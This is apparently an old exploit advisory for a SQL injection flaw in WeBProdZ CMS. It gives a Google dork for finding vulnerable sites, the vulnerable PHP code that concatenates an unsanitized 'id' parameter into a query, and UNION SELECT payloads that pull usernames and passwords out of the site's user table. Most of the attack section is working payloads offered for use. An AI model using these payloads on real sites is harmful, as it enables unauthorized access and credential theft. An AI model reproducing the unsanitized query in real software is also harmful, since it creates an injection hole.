WeBProdZ CMS - SQL Injection

      ______                _       _   _             
      | ___ \              | |     | | (_)            
      | |_/ /_____   _____ | |_   _| |_ _  ___  _ __  
      |    // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \   
      | |\ \  __/\ V / (_) | | |_| | |_| | (_) | | | |   
      \_| \_\___| \_/ \___/|_|\__,_|\__|_|\___/|_| |_| 

        _____                      _____  _____ 
       |_   _|                    |  _  ||  _  |
         | | ___  __ _ _ __ ___   | |/' || |_| |
         | |/ _ \/ _` | '_ ` _ \  |  /| |\____ |
         | |  __/ (_| | | | | | | \ |_/ /.___/ /
         \_/\___|\__,_|_| |_| |_|  \___/ \____/

_____________________________________________________________
   
[$] Exploit Title     : WeBProdZ CMS SQL Injection Vulnerability
[$] Date              : 06-05-2010            
[$] Author            : MasterGipy
[$] Email             : mastergipy [at] gmail.com
[$] Bug               : SQL Injection Vulnerability
[$] Google Dork       : "Desenvolvido por WeBProdZ"

[$] Vulnerable code in /backoffice/textos/editar.php

<?php 
    include_once("../../ligacao/connDB.php");
    $sql = "select * from textos where idtextos=".$_GET["id"];
        
    $j2 = mysql_query($sql);
    $o=mysql_fetch_object($j2);
?>

[$] Exploit

[+] http://[site]/backoffice/textos/editar.php?id=1  <- SQL

[+] sql_1: -1 UNION ALL SELECT 1,2,3--
[+] sql_2: -1 UNION ALL SELECT 1,2,concat(username,char(58),password)+from+utilizadores--
[+] sql_3: -1 UNION ALL SELECT 1,2,concat(username,char(58),password_ori)+from+utilizadores--


[$] Greetings from PORTUGAL ^^